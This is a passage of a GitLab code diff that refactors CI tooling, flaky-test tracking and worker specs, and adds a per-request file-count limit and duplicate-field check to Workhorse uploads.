+++ b/spec/workers/namespaces/process_sync_events_worker_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Namespaces::ProcessSyncEventsWorker do
+ let!(:group1) { create(:group) }
+ let!(:group2) { create(:group) }
+ let!(:group3) { create(:group) }
+
+ include_examples 'an idempotent worker'
+
+ describe '#perform' do
+ subject(:perform) { described_class.new.perform }
+
+ before do
+ group2.update!(parent: group1)
+ group3.update!(parent: group2)
+ end
+
+ it 'consumes all sync events' do
+ expect { perform }.to change(Namespaces::SyncEvent, :count).from(5).to(0)
+ end
+
+ it 'syncs namespace hierarchy traversal ids' do
+ expect { perform }.to change(Ci::NamespaceMirror, :all).to contain_exactly(
+ an_object_having_attributes(namespace_id: group1.id, traversal_ids: [group1.id]),
+ an_object_having_attributes(namespace_id: group2.id, traversal_ids: [group1.id, group2.id]),
+ an_object_having_attributes(namespace_id: group3.id, traversal_ids: [group1.id, group2.id, group3.id])
+ )
+ end
+ end
+end
diff --git a/spec/workers/projects/process_sync_events_worker_spec.rb b/spec/workers/projects/process_sync_events_worker_spec.rb
new file mode 100644
index 00000000000..600fbbc6b20
--- /dev/null
+++ b/spec/workers/projects/process_sync_events_worker_spec.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::ProcessSyncEventsWorker do
+ let!(:group) { create(:group) }
+ let!(:project) { create(:project) }
+
+ include_examples 'an idempotent worker'
+
+ describe '#perform' do
+ subject(:perform) { described_class.new.perform }
+
+ before do
+ project.update!(namespace: group)
+ end
+
+ it 'consumes all sync events' do
+ expect { perform }.to change(Projects::SyncEvent, :count).from(2).to(0)
+ end
+
+ it 'syncs project namespace id' do
+ expect { perform }.to change(Ci::ProjectMirror, :all).to contain_exactly(
+ an_object_having_attributes(namespace_id: group.id)
+ )
+ end
+ end
+end
diff --git a/spec/workers/propagate_integration_worker_spec.rb b/spec/workers/propagate_integration_worker_spec.rb
index 902e3206d35..030caefb833 100644
--- a/spec/workers/propagate_integration_worker_spec.rb
+++ b/spec/workers/propagate_integration_worker_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe PropagateIntegrationWorker do
end
it 'calls the propagate service with the integration' do
- expect(Admin::PropagateIntegrationService).to receive(:propagate).with(integration)
+ expect(Integrations::PropagateService).to receive(:propagate).with(integration)
subject.perform(integration.id)
end
diff --git a/spec/workers/purge_dependency_proxy_cache_worker_spec.rb b/spec/workers/purge_dependency_proxy_cache_worker_spec.rb
index 393745958be..b928104fb58 100644
--- a/spec/workers/purge_dependency_proxy_cache_worker_spec.rb
+++ b/spec/workers/purge_dependency_proxy_cache_worker_spec.rb
@@ -4,18 +4,18 @@ require 'spec_helper'
RSpec.describe PurgeDependencyProxyCacheWorker do
let_it_be(:user) { create(:admin) }
- let_it_be(:blob) { create(:dependency_proxy_blob )}
- let_it_be(:group, reload: true) { blob.group }
- let_it_be(:manifest) { create(:dependency_proxy_manifest, group: group )}
+ let_it_be_with_refind(:blob) { create(:dependency_proxy_blob )}
+ let_it_be_with_reload(:group) { blob.group }
+ let_it_be_with_refind(:manifest) { create(:dependency_proxy_manifest, group: group )}
let_it_be(:group_id) { group.id }
subject { described_class.new.perform(user.id, group_id) }
describe '#perform' do
- shared_examples 'not removing blobs and manifests' do
- it 'does not remove blobs and manifests', :aggregate_failures do
- expect { subject }.not_to change { group.dependency_proxy_blobs.size }
- expect { subject }.not_to change { group.dependency_proxy_manifests.size }
+ shared_examples 'not expiring blobs and manifests' do
+ it 'does not expire blobs and manifests', :aggregate_failures do
+ expect { subject }.not_to change { blob.status }
+ expect { subject }.not_to change { manifest.status }
expect(subject).to be_nil
end
end
@@ -25,39 +25,36 @@ RSpec.describe PurgeDependencyProxyCacheWorker do
include_examples 'an idempotent worker' do
let(:job_args) { [user.id, group_id] }
- it 'deletes the blobs and returns ok', :aggregate_failures do
- expect(group.dependency_proxy_blobs.size).to eq(1)
- expect(group.dependency_proxy_manifests.size).to eq(1)
-
+ it 'expires the blobs and returns ok', :aggregate_failures do
subject
- expect(group.dependency_proxy_blobs.size).to eq(0)
- expect(group.dependency_proxy_manifests.size).to eq(0)
+ expect(blob).to be_expired
+ expect(manifest).to be_expired
end
end
end
context 'when admin mode is disabled' do
- it_behaves_like 'not removing blobs and manifests'
+ it_behaves_like 'not expiring blobs and manifests'
end
end
context 'a non-admin user' do
let(:user) { create(:user) }
- it_behaves_like 'not removing blobs and manifests'
+ it_behaves_like 'not expiring blobs and manifests'
end
context 'an invalid user id' do
let(:user) { double('User', id: 99999 ) }
- it_behaves_like 'not removing blobs and manifests'
+ it_behaves_like 'not expiring blobs and manifests'
end
context 'an invalid group' do
let(:group_id) { 99999 }
- it_behaves_like 'not removing blobs and manifests'
+ it_behaves_like 'not expiring blobs and manifests'
end
end
end
diff --git a/spec/workers/todos_destroyer/private_features_worker_spec.rb b/spec/workers/todos_destroyer/private_features_worker_spec.rb
index f346a004670..88d9be051d0 100644
--- a/spec/workers/todos_destroyer/private_features_worker_spec.rb
+++ b/spec/workers/todos_destroyer/private_features_worker_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe TodosDestroyer::PrivateFeaturesWorker do
it "calls the Todos::Destroy::PrivateFeaturesService with the params it was given" do
service = double
- expect(::Todos::Destroy::PrivateFeaturesService).to receive(:new).with(100, nil).and_return(service)
+ expect(::Todos::Destroy::UnauthorizedFeaturesService).to receive(:new).with(100, nil).and_return(service)
expect(service).to receive(:execute)
described_class.new.perform(100)
diff --git a/tooling/bin/find_changes b/tooling/bin/find_changes
index 20df085879a..c6b8bafbd85 100755
--- a/tooling/bin/find_changes
+++ b/tooling/bin/find_changes
@@ -3,19 +3,76 @@
require 'gitlab'
-gitlab_token = ENV.fetch('PROJECT_TOKEN_FOR_CI_SCRIPTS_API_USAGE', '')
-gitlab_endpoint = ENV.fetch('CI_API_V4_URL')
-mr_project_path = ENV.fetch('CI_MERGE_REQUEST_PROJECT_PATH')
-mr_iid = ENV.fetch('CI_MERGE_REQUEST_IID')
+class FindChanges # rubocop:disable Gitlab/NamespacedClass
+ def initialize(output_file:, matched_tests_file: nil, frontend_fixtures_mapping_path: nil)
+ @gitlab_token = ENV.fetch('PROJECT_TOKEN_FOR_CI_SCRIPTS_API_USAGE', '')
+ @gitlab_endpoint = ENV.fetch('CI_API_V4_URL')
+ @mr_project_path = ENV.fetch('CI_MERGE_REQUEST_PROJECT_PATH')
+ @mr_iid = ENV.fetch('CI_MERGE_REQUEST_IID')
+ @output_file = output_file
+ @matched_tests_file = matched_tests_file
+ @frontend_fixtures_mapping_path = frontend_fixtures_mapping_path
+ end
-output_file = ARGV.shift
+ def execute
+ add_frontend_fixture_files!
+
+ File.write(output_file, file_changes.join(' '))
+ end
+
+ private
+
+ def add_frontend_fixture_files?
+ matched_tests_file && frontend_fixtures_mapping_path
+ end
+
+ def add_frontend_fixture_files!
+ return unless add_frontend_fixture_files?
+
+ # If we have a `test file -> JSON frontend fixture` mapping file, we add the files JSON frontend fixtures
+ # files to the list of changed files so that Jest can automatically run the dependent tests thanks to --findRelatedTests
+ test_files.each do |test_file|
+ file_changes.concat(frontend_fixtures_mapping[test_file]) if frontend_fixtures_mapping.key?(test_file)
+ end
+ end
+
+ def file_changes
+ @file_changes ||=
+ if File.exist?(output_file)
+ File.read(output_file).split(' ')
+ else
+ Gitlab.configure do |config|
+ config.endpoint = gitlab_endpoint
+ config.private_token = gitlab_token
+ end
+
+ mr_changes = Gitlab.merge_request_changes(mr_project_path, mr_iid)
-Gitlab.configure do |config|
- config.endpoint = gitlab_endpoint
- config.private_token = gitlab_token
+ mr_changes.changes.map { |change| change['new_path'] }
+ end
+ end
+
+ def test_files
+ return [] if !matched_tests_file || !File.exist?(matched_tests_file)
+
+ File.read(matched_tests_file).split(' ')
+ end
+
+ def frontend_fixtures_mapping
+ return {} if !frontend_fixtures_mapping_path || !File.exist?(frontend_fixtures_mapping_path)
+
+ JSON.parse(File.read(frontend_fixtures_mapping_path)) # rubocop:disable Gitlab/Json
+ end
+
+ attr_reader :gitlab_token, :gitlab_endpoint, :mr_project_path, :mr_iid, :output_file, :matched_tests_file, :frontend_fixtures_mapping_path
end
-mr_changes = Gitlab.merge_request_changes(mr_project_path, mr_iid)
-file_changes = mr_changes.changes.map { |change| change['new_path'] }
+output_file = ARGV.shift
+raise ArgumentError, "An path to an output file must be given as first argument of #{__FILE__}." if output_file.nil?
+
+matched_tests_file = ARGV.shift
+frontend_fixtures_mapping_path = ARGV.shift
-File.write(output_file, file_changes.join(' '))
+FindChanges
+ .new(output_file: output_file, matched_tests_file: matched_tests_file, frontend_fixtures_mapping_path: frontend_fixtures_mapping_path)
+ .execute
diff --git a/tooling/bin/qa/check_if_qa_only_spec_changes b/tooling/bin/qa/check_if_qa_only_spec_changes
new file mode 100755
index 00000000000..5b9166b41fe
--- /dev/null
+++ b/tooling/bin/qa/check_if_qa_only_spec_changes
@@ -0,0 +1,22 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+# This script assumes the first argument is a path to a file containing a list of changed files and the second argument
+# is the path of a file where a list of end-to-end spec files with the leading 'qa/' trimmed will be written to if
+# all the files are end-to-end test spec files.
+
+abort("ERROR: Please specify the file containing the list of changed files and a file where the qa only spec files will be written") if ARGV.size != 2
+
+changed_files_path = ARGV.shift
+output_file = ARGV.shift
+
+return unless File.exist?(changed_files_path)
+
+changed_files = File.read(changed_files_path).split(' ')
+
+all_files_are_qa_specs = changed_files.all? { |file_path| file_path =~ %r{^qa\/qa\/specs\/features\/} }
+
+if all_files_are_qa_specs
+ qa_spec_paths_trimmed = changed_files.map { |path| path.sub('qa/', '') }
+ File.write(output_file, qa_spec_paths_trimmed.join(' '))
+end
diff --git a/tooling/danger/changelog.rb b/tooling/danger/changelog.rb
index fbf8ae931e2..6a392afac13 100644
--- a/tooling/danger/changelog.rb
+++ b/tooling/danger/changelog.rb
@@ -159,8 +159,8 @@ module Tooling
def required_reasons
[].tap do |reasons|
- reasons << :db_changes if project_helper.changes.added.has_category?(:migration)
- reasons << :feature_flag_removed if project_helper.changes.deleted.has_category?(:feature_flag)
+ reasons << :db_changes if helper.changes.added.has_category?(:migration)
+ reasons << :feature_flag_removed if helper.changes.deleted.has_category?(:feature_flag)
end
end
@@ -221,7 +221,7 @@ module Tooling
end
def categories_need_changelog?
- (project_helper.changes.categories - NO_CHANGELOG_CATEGORIES).any?
+ (helper.changes.categories - NO_CHANGELOG_CATEGORIES).any?
end
def mr_without_no_changelog_label?
diff --git a/tooling/danger/product_intelligence.rb b/tooling/danger/product_intelligence.rb
index 72fc8deac43..6185b2f0d08 100644
--- a/tooling/danger/product_intelligence.rb
+++ b/tooling/danger/product_intelligence.rb
@@ -4,21 +4,32 @@
module Tooling
module Danger
module ProductIntelligence
+ APPROVED_LABEL = 'product intelligence::approved'
+ REVIEW_LABEL = 'product intelligence::review pending'
+
WORKFLOW_LABELS = [
- 'product intelligence::approved',
- 'product intelligence::review pending'
+ APPROVED_LABEL,
+ REVIEW_LABEL
].freeze
def missing_labels
- return [] if !helper.ci? || helper.mr_has_labels?('growth experiment')
+ return [] unless helper.ci?
labels = []
labels << 'product intelligence' unless helper.mr_has_labels?('product intelligence')
- labels << 'product intelligence::review pending' unless has_workflow_labels?
+ labels << REVIEW_LABEL unless has_workflow_labels?
labels
end
+ def has_approved_label?
+ helper.mr_labels.include?(APPROVED_LABEL)
+ end
+
+ def skip_review?
+ helper.mr_has_labels?('growth experiment')
+ end
+
private
def has_workflow_labels?
diff --git a/tooling/danger/project_helper.rb b/tooling/danger/project_helper.rb
index 5d338393f90..b49df50c5f0 100644
--- a/tooling/danger/project_helper.rb
+++ b/tooling/danger/project_helper.rb
@@ -5,6 +5,7 @@ module Tooling
module ProjectHelper
LOCAL_RULES ||= %w[
changelog
+ ci_config
database
documentation
duplicate_yarn_dependencies
@@ -127,7 +128,7 @@ module Tooling
%r{\A((spec/)?lib/generators/gitlab/usage_metric_)} => [:product_intelligence],
%r{\A((ee|jh)/)?lib/gitlab/usage_data_counters/.*\.yml\z} => [:product_intelligence],
- %r{\A((ee|jh)/)?config/metrics/((.*\.yml)|(schema\.json))\z} => [:product_intelligence],
+ %r{\A((ee|jh)/)?config/(events|metrics)/((.*\.yml)|(schema\.json))\z} => [:product_intelligence],
%r{\A((ee|jh)/)?lib/gitlab/usage_data(_counters)?(/|\.rb)} => [:backend, :product_intelligence],
%r{\A(
lib/gitlab/tracking\.rb |
@@ -151,7 +152,8 @@ module Tooling
%r{\A((ee|jh)/)?vendor/} => :backend,
%r{\A(Gemfile|Gemfile.lock|Rakefile)\z} => :backend,
%r{\A[A-Z_]+_VERSION\z} => :backend,
- %r{\A\.rubocop((_manual)?_todo)?\.yml\z} => :backend,
+ %r{\A\.rubocop(_todo)?\.yml\z} => :backend,
+ %r{\A\.rubocop_todo/.*\.yml\z} => :backend,
%r{\Afile_hooks/} => :backend,
%r{\A((ee|jh)/)?qa/} => :qa,
@@ -174,18 +176,6 @@ module Tooling
%r{\.js\z} => :frontend
}.freeze
- def changes_by_category
- helper.changes_by_category(CATEGORIES)
- end
-
- def changes
- helper.changes(CATEGORIES)
- end
-
- def categories_for_file(file)
- helper.categories_for_file(file, CATEGORIES)
- end
-
def local_warning_message
"#{MESSAGE_PREFIX} Only the following Danger rules can be run locally: #{LOCAL_RULES.join(', ')}"
end
@@ -201,11 +191,7 @@ module Tooling
end
def all_ee_changes
- changes.files.grep(%r{\Aee/})
- end
-
- def project_name
- ee? ? 'gitlab' : 'gitlab-foss'
+ helper.changes.files.grep(%r{\Aee/})
end
def file_lines(filename)
@@ -221,11 +207,6 @@ module Tooling
def read_file(filename)
File.read(filename)
end
-
- def ee?
- # Support former project name for `dev` and support local Danger run
- %w[gitlab gitlab-ee].include?(ENV['CI_PROJECT_NAME']) || Dir.exist?(File.expand_path('../../ee', __dir__))
- end
end
end
end
diff --git a/tooling/quality/test_level.rb b/tooling/quality/test_level.rb
index 5fbaad073c0..50cbc69beb2 100644
--- a/tooling/quality/test_level.rb
+++ b/tooling/quality/test_level.rb
@@ -33,6 +33,7 @@ module Quality
initializers
javascripts
lib
+ metrics_server
models
policies
presenters
@@ -44,6 +45,7 @@ module Quality
serializers
services
sidekiq
+ sidekiq_cluster
spam
support_specs
tasks
diff --git a/tooling/rspec_flaky/example.rb b/tooling/rspec_flaky/example.rb
index 18f8c5acc1c..e6c2f838194 100644
--- a/tooling/rspec_flaky/example.rb
+++ b/tooling/rspec_flaky/example.rb
@@ -38,6 +38,16 @@ module RspecFlaky
rspec_example.respond_to?(:attempts) ? rspec_example.attempts : 1
end
+ def to_h
+ {
+ example_id: example_id,
+ file: file,
+ line: line,
+ description: description,
+ last_attempts_count: attempts
+ }
+ end
+
private
attr_reader :rspec_example
diff --git a/tooling/rspec_flaky/flaky_example.rb b/tooling/rspec_flaky/flaky_example.rb
index 4f3688dbeed..299fcb567fc 100644
--- a/tooling/rspec_flaky/flaky_example.rb
+++ b/tooling/rspec_flaky/flaky_example.rb
@@ -3,38 +3,51 @@
require 'ostruct'
module RspecFlaky
+ ALLOWED_ATTRIBUTES = %i[
+ example_id
+ file
+ line
+ description
+ first_flaky_at
+ last_flaky_at
+ last_flaky_job
+ last_attempts_count
+ flaky_reports
+ ].freeze
+
# This represents a flaky RSpec example and is mainly meant to be saved in a JSON file
- class FlakyExample < OpenStruct
- def initialize(example)
- if example.respond_to?(:example_id)
- super(
- example_id: example.example_id,
- file: example.file,
- line: example.line,
- description: example.description,
- last_attempts_count: example.attempts,
- flaky_reports: 0)
- else
- super
+ class FlakyExample
+ def initialize(example_hash)
+ @attributes = {
+ first_flaky_at: Time.now,
+ last_flaky_at: Time.now,
+ last_flaky_job: nil,
+ last_attempts_count: example_hash[:attempts],
+ flaky_reports: 0
+ }.merge(example_hash.slice(*ALLOWED_ATTRIBUTES))
+
+ %i[first_flaky_at last_flaky_at].each do |attr|
+ attributes[attr] = Time.parse(attributes[attr]) if attributes[attr].is_a?(String)
end
end
def update_flakiness!(last_attempts_count: nil)
- self.first_flaky_at ||= Time.now
- self.last_flaky_at = Time.now
- self.flaky_reports += 1
- self.last_attempts_count = last_attempts_count if last_attempts_count
+ attributes[:first_flaky_at] ||= Time.now
+ attributes[:last_flaky_at] = Time.now
+ attributes[:flaky_reports] += 1
+ attributes[:last_attempts_count] = last_attempts_count if last_attempts_count
- if ENV['CI_PROJECT_URL'] && ENV['CI_JOB_ID']
- self.last_flaky_job = "#{ENV['CI_PROJECT_URL']}/-/jobs/#{ENV['CI_JOB_ID']}"
+ if ENV['CI_JOB_URL']
+ attributes[:last_flaky_job] = "#{ENV['CI_JOB_URL']}"
end
end
def to_h
- super.merge(
- first_flaky_at: first_flaky_at,
- last_flaky_at: last_flaky_at,
- last_flaky_job: last_flaky_job)
+ attributes.dup
end
+
+ private
+
+ attr_reader :attributes
end
end
diff --git a/tooling/rspec_flaky/flaky_examples_collection.rb b/tooling/rspec_flaky/flaky_examples_collection.rb
index acbfb411873..019ebf703da 100644
--- a/tooling/rspec_flaky/flaky_examples_collection.rb
+++ b/tooling/rspec_flaky/flaky_examples_collection.rb
@@ -16,7 +16,7 @@ module RspecFlaky
collection.map do |uid, example|
[
uid,
- example.is_a?(RspecFlaky::FlakyExample) ? example : RspecFlaky::FlakyExample.new(example)
+ RspecFlaky::FlakyExample.new(example.to_h.symbolize_keys)
]
end
diff --git a/tooling/rspec_flaky/listener.rb b/tooling/rspec_flaky/listener.rb
index a5c68d830db..9b20eefc2f0 100644
--- a/tooling/rspec_flaky/listener.rb
+++ b/tooling/rspec_flaky/listener.rb
@@ -26,7 +26,7 @@ module RspecFlaky
return unless current_example.attempts > 1
- flaky_example = suite_flaky_examples.fetch(current_example.uid) { RspecFlaky::FlakyExample.new(current_example) }
+ flaky_example = suite_flaky_examples.fetch(current_example.uid) { RspecFlaky::FlakyExample.new(current_example.to_h) }
flaky_example.update_flakiness!(last_attempts_count: current_example.attempts)
flaky_examples[current_example.uid] = flaky_example
@@ -36,7 +36,6 @@ module RspecFlaky
RspecFlaky::Report.new(flaky_examples).write(RspecFlaky::Config.flaky_examples_report_path)
# write_report_file(flaky_examples, RspecFlaky::Config.flaky_examples_report_path)
- new_flaky_examples = flaky_examples - suite_flaky_examples
if new_flaky_examples.any?
rails_logger_warn("\nNew flaky examples detected:\n")
rails_logger_warn(JSON.pretty_generate(new_flaky_examples.to_h)) # rubocop:disable Gitlab/Json
@@ -48,6 +47,10 @@ module RspecFlaky
private
+ def new_flaky_examples
+ @new_flaky_examples ||= flaky_examples - suite_flaky_examples
+ end
+
def init_suite_flaky_examples(suite_flaky_examples_json = nil)
if suite_flaky_examples_json
RspecFlaky::Report.load_json(suite_flaky_examples_json).flaky_examples
diff --git a/tooling/rspec_flaky/report.rb b/tooling/rspec_flaky/report.rb
index bde5115f03c..17dbb277446 100644
--- a/tooling/rspec_flaky/report.rb
+++ b/tooling/rspec_flaky/report.rb
@@ -10,7 +10,7 @@ module RspecFlaky
# This class is responsible for loading/saving JSON reports, and pruning
# outdated examples.
class Report < SimpleDelegator
- OUTDATED_DAYS_THRESHOLD = 30
+ OUTDATED_DAYS_THRESHOLD = 7
attr_reader :flaky_examples
@@ -45,12 +45,13 @@ module RspecFlaky
def prune_outdated(days: OUTDATED_DAYS_THRESHOLD)
outdated_date_threshold = Time.now - (3600 * 24 * days)
- updated_hash = flaky_examples.dup
- .delete_if do |uid, hash|
- hash[:last_flaky_at] && Time.parse(hash[:last_flaky_at]).to_i < outdated_date_threshold.to_i
+ recent_flaky_examples = flaky_examples.dup
+ .delete_if do |_uid, flaky_example|
+ last_flaky_at = flaky_example.to_h[:last_flaky_at]
+ last_flaky_at && last_flaky_at.to_i < outdated_date_threshold.to_i
end
- self.class.new(RspecFlaky::FlakyExamplesCollection.new(updated_hash))
+ self.class.new(RspecFlaky::FlakyExamplesCollection.new(recent_flaky_examples))
end
end
end
diff --git a/workhorse/.tool-versions b/workhorse/.tool-versions
index 9d3b3b30ff2..bf23029f784 100644
--- a/workhorse/.tool-versions
+++ b/workhorse/.tool-versions
@@ -1 +1 @@
-golang 1.16.9
+golang 1.16.12
diff --git a/workhorse/cmd/gitlab-zip-cat/main.go b/workhorse/cmd/gitlab-zip-cat/main.go
index 12a4187bad1..05170ba5994 100644
--- a/workhorse/cmd/gitlab-zip-cat/main.go
+++ b/workhorse/cmd/gitlab-zip-cat/main.go
@@ -1,7 +1,6 @@
package main
import (
- "archive/zip"
"context"
"errors"
"flag"
@@ -9,6 +8,7 @@ import (
"io"
"os"
+ zip "gitlab.com/gitlab-org/golang-archive-zip"
"gitlab.com/gitlab-org/labkit/mask"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/zipartifacts"
diff --git a/workhorse/go.mod b/workhorse/go.mod
index 1d9ae69289c..9fb4c25166b 100644
--- a/workhorse/go.mod
+++ b/workhorse/go.mod
@@ -29,6 +29,7 @@ require (
github.com/smartystreets/goconvey v1.6.4
github.com/stretchr/testify v1.7.0
gitlab.com/gitlab-org/gitaly/v14 v14.3.0-rc2.0.20211007055622-df7dadcc3f74
+ gitlab.com/gitlab-org/golang-archive-zip v0.1.1
gitlab.com/gitlab-org/labkit v1.6.0
gocloud.dev v0.23.0
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8
diff --git a/workhorse/go.sum b/workhorse/go.sum
index c5bcf1571be..76590474a00 100644
--- a/workhorse/go.sum
+++ b/workhorse/go.sum
@@ -835,6 +835,8 @@ gitlab.com/gitlab-org/gitaly/v14 v14.3.0-rc2.0.20211007055622-df7dadcc3f74 h1:7R
gitlab.com/gitlab-org/gitaly/v14 v14.3.0-rc2.0.20211007055622-df7dadcc3f74/go.mod h1:2McjFiZrwflPGtXSquCAXWzewmxTPytoI/vamNz/QPM=
gitlab.com/gitlab-org/gitlab-shell v1.9.8-0.20201117050822-3f9890ef73dc/go.mod h1:5QSTbpAHY2v0iIH5uHh2KA9w7sPUqPmnLjDApI/sv1U=
gitlab.com/gitlab-org/gitlab-shell v1.9.8-0.20210720163109-50da611814d2/go.mod h1:QWDYBwuy24qGMandtCngLRPzFgnGPg6LSNoJWPKmJMc=
+gitlab.com/gitlab-org/golang-archive-zip v0.1.1 h1:35k9giivbxwF03+8A05Cm8YoxoakU8FBCj5gysjCTCE=
+gitlab.com/gitlab-org/golang-archive-zip v0.1.1/go.mod h1:ZDtqpWPGPB9qBuZnZDrKQjIdJtkN7ZAoVwhT6H2o2kE=
gitlab.com/gitlab-org/labkit v0.0.0-20190221122536-0c3fc7cdd57c/go.mod h1:rYhLgfrbEcyfinG+R3EvKu6bZSsmwQqcXzLfHWSfUKM=
gitlab.com/gitlab-org/labkit v0.0.0-20200908084045-45895e129029/go.mod h1:SNfxkfUwVNECgtmluVayv0GWFgEjjBs5AzgsowPQuo0=
gitlab.com/gitlab-org/labkit v1.0.0/go.mod h1:nohrYTSLDnZix0ebXZrbZJjymRar8HeV2roWL5/jw2U=
diff --git a/workhorse/internal/api/api_test.go b/workhorse/internal/api/api_test.go
index 43e3604cc9c..b82bb55fb85 100644
--- a/workhorse/internal/api/api_test.go
+++ b/workhorse/internal/api/api_test.go
@@ -49,7 +49,7 @@ func getGeoProxyURLGivenResponse(t *testing.T, givenInternalApiResponse string)
}
func testRailsServer(url *regexp.Regexp, code int, body string) *httptest.Server {
- return testhelper.TestServerWithHandler(url, func(w http.ResponseWriter, r *http.Request) {
+ return testhelper.TestServerWithHandlerWithGeoPolling(url, func(w http.ResponseWriter, r *http.Request) {
// return a 204 No Content response if we don't receive the JWT header
if r.Header.Get(secret.RequestHeader) == "" {
w.WriteHeader(204)
diff --git a/workhorse/internal/artifacts/artifacts_upload_test.go b/workhorse/internal/artifacts/artifacts_upload_test.go
index df1c30dcff0..3e8a52be1a1 100644
--- a/workhorse/internal/artifacts/artifacts_upload_test.go
+++ b/workhorse/internal/artifacts/artifacts_upload_test.go
@@ -270,7 +270,7 @@ func TestUploadHandlerForMultipleFiles(t *testing.T) {
require.NoError(t, s.writer.Close())
response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
- require.Equal(t, http.StatusBadRequest, response.Code)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
}
func TestUploadFormProcessing(t *testing.T) {
diff --git a/workhorse/internal/testhelper/testhelper.go b/workhorse/internal/testhelper/testhelper.go
index 7e66563e438..dae8f9b3149 100644
--- a/workhorse/internal/testhelper/testhelper.go
+++ b/workhorse/internal/testhelper/testhelper.go
@@ -22,6 +22,10 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/secret"
)
+const (
+ geoProxyEndpointPath = "/api/v4/geo/proxy"
+)
+
func ConfigureSecret() {
secret.SetPath(path.Join(RootDir(), "testdata/test-secret"))
}
@@ -50,7 +54,20 @@ func RequireResponseHeader(t *testing.T, w interface{}, header string, expected
require.Equal(t, expected, actual, "values for HTTP header %s", header)
}
+// TestServerWithHandler skips Geo API polling for a proxy URL by default,
+// use TestServerWithHandlerWithGeoPolling if you need to explicitly
+// handle Geo API polling request as well.
func TestServerWithHandler(url *regexp.Regexp, handler http.HandlerFunc) *httptest.Server {
+ return TestServerWithHandlerWithGeoPolling(url, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if r.URL.Path == geoProxyEndpointPath {
+ return
+ }
+
+ handler(w, r)
+ }))
+}
+
+func TestServerWithHandlerWithGeoPolling(url *regexp.Regexp, handler http.HandlerFunc) *httptest.Server {
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
logEntry := log.WithFields(log.Fields{
"method": r.Method,
diff --git a/workhorse/internal/upload/rewrite.go b/workhorse/internal/upload/rewrite.go
index 3dfab120188..b9324ac8b7b 100644
--- a/workhorse/internal/upload/rewrite.go
+++ b/workhorse/internal/upload/rewrite.go
@@ -24,10 +24,12 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/exif"
)
+const maxFilesAllowed = 10
+
// ErrInjectedClientParam means that the client sent a parameter that overrides one of our own fields
var (
- ErrInjectedClientParam = errors.New("injected client parameter")
- ErrMultipleFilesUploaded = errors.New("upload request contains more than one file")
+ ErrInjectedClientParam = errors.New("injected client parameter")
+ ErrTooManyFilesUploaded = fmt.Errorf("upload request contains more than %v files", maxFilesAllowed)
)
var (
@@ -117,8 +119,8 @@ func rewriteFormFilesFromMultipart(r *http.Request, writer *multipart.Writer, pr
}
func (rew *rewriter) handleFilePart(ctx context.Context, name string, p *multipart.Part, opts *filestore.SaveFileOpts) error {
- if rew.filter.Count() > 0 {
- return ErrMultipleFilesUploaded
+ if rew.filter.Count() >= maxFilesAllowed {
+ return ErrTooManyFilesUploaded
}
multipartFiles.WithLabelValues(rew.filter.Name()).Inc()
diff --git a/workhorse/internal/upload/saved_file_tracker.go b/workhorse/internal/upload/saved_file_tracker.go
index cd41e661b7d..e6f9a8c9a88 100644
--- a/workhorse/internal/upload/saved_file_tracker.go
+++ b/workhorse/internal/upload/saved_file_tracker.go
@@ -27,6 +27,10 @@ func (s *SavedFileTracker) Count() int {
}
func (s *SavedFileTracker) ProcessFile(_ context.Context, fieldName string, file *filestore.FileHandler, _ *multipart.Writer) error {
+ if _, ok := s.rewrittenFields[fieldName]; ok {
+ return fmt.Errorf("the %v field has already been processed", fieldName)
+ }
+
s.Track(fieldName, file.LocalPath)
return nil
}
diff --git a/workhorse/internal/upload/saved_file_tracker_test.go b/workhorse/internal/upload/saved_file_tracker_test.go
index b34dd9aed4f..ba927db253e 100644
--- a/workhorse/internal/upload/saved_file_tracker_test.go
+++ b/workhorse/internal/upload/saved_file_tracker_test.go
@@ -37,3 +37,14 @@ func TestSavedFileTracking(t *testing.T) {
require.Contains(t, rewrittenFields, "test")
}
+
+func TestDuplicatedFileProcessing(t *testing.T) {
+ tracker := SavedFileTracker{}
+ file := &filestore.FileHandler{}
+
+ require.NoError(t, tracker.ProcessFile(context.Background(), "file", file, nil))
+
+ err := tracker.ProcessFile(context.Background(), "file", file, nil)
+ require.Error(t, err)
+ require.Equal(t, "the file field has already been processed", err.Error())
+}
diff --git a/workhorse/internal/upload/uploads.go b/workhorse/internal/upload/uploads.go
index 8f4c8bb95f0..b408d260379 100644
--- a/workhorse/internal/upload/uploads.go
+++ b/workhorse/internal/upload/uploads.go
@@ -35,8 +35,8 @@ func HandleFileUploads(w http.ResponseWriter, r *http.Request, h http.Handler, p
switch err {
case ErrInjectedClientParam:
helper.CaptureAndFail(w, r, err, "Bad Request", http.StatusBadRequest)
- case ErrMultipleFilesUploaded:
- helper.CaptureAndFail(w, r, err, "Uploading multiple files is not allowed", http.StatusBadRequest)
+ case ErrTooManyFilesUploaded:
+ helper.CaptureAndFail(w, r, err, err.Error(), http.StatusBadRequest)
case http.ErrNotMultipart:
h.ServeHTTP(w, r)
case filestore.ErrEntityTooLarge:
diff --git a/workhorse/internal/upload/uploads_test.go b/workhorse/internal/upload/uploads_test.go
index b5db8003d41..7c22b3b4e28 100644
--- a/workhorse/internal/upload/uploads_test.go
+++ b/workhorse/internal/upload/uploads_test.go
@@ -260,10 +260,10 @@ func TestUploadingMultipleFiles(t *testing.T) {
var buffer bytes.Buffer
writer := multipart.NewWriter(&buffer)
- _, err = writer.CreateFormFile("file", "my.file")
- require.NoError(t, err)
- _, err = writer.CreateFormFile("file", "my.file")
- require.NoError(t, err)
+ for i := 0; i < 11; i++ {
+ _, err = writer.CreateFormFile(fmt.Sprintf("file %v", i), "my.file")
+ require.NoError(t, err)
+ }
require.NoError(t, writer.Close())
httpRequest, err := http.NewRequest("PUT", "/url/path", &buffer)
